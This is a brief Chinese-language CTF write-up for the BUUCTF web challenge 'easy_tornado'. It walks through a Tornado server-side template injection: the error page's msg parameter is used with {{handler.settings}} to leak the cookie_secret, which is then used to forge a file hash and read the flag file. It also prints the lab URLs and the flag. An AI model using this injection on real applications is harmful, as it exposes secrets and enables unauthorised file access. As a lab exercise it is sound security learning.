buuctf-web-[护网杯 2018]easy_tornado1

打开环境

点击第一个链接，知道flag在/fllllllllllllag中

配合关键词tornado搜索得到提示

python ssti tornado render模板注入

打开第三个链接

看到链接内容

http://ceb8dfdd-5407-43fd-a190-51486130fab1.node4.buuoj.cn:81/file?filename=/hints.txt&filehash=89b44c932667ab065f61314843fd37a6

需要通过cookie_secret和filename进行请求伪造

当filehash错误时进入一个错误界面

http://ceb8dfdd-5407-43fd-a190-51486130fab1.node4.buuoj.cn:81/error?msg=Error

找到注入点

http://ceb8dfdd-5407-43fd-a190-51486130fab1.node4.buuoj.cn:81/error?msg={{escape}}

通过handler.settings进行注入

http://ceb8dfdd-5407-43fd-a190-51486130fab1.node4.buuoj.cn:81/error?msg={{handler.settings}}

得到cookie_secret为5fa731cd-0e31-45e7-b23c-16603a014436

根据提示进行计算

拼凑出payload

fliename为/fllllllllllllag

http://ceb8dfdd-5407-43fd-a190-51486130fab1.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=616185a0fe5ce55f598737d6516858a6

flag{f9ec63e3-a9aa-4857-bf67-5825ba80a73e}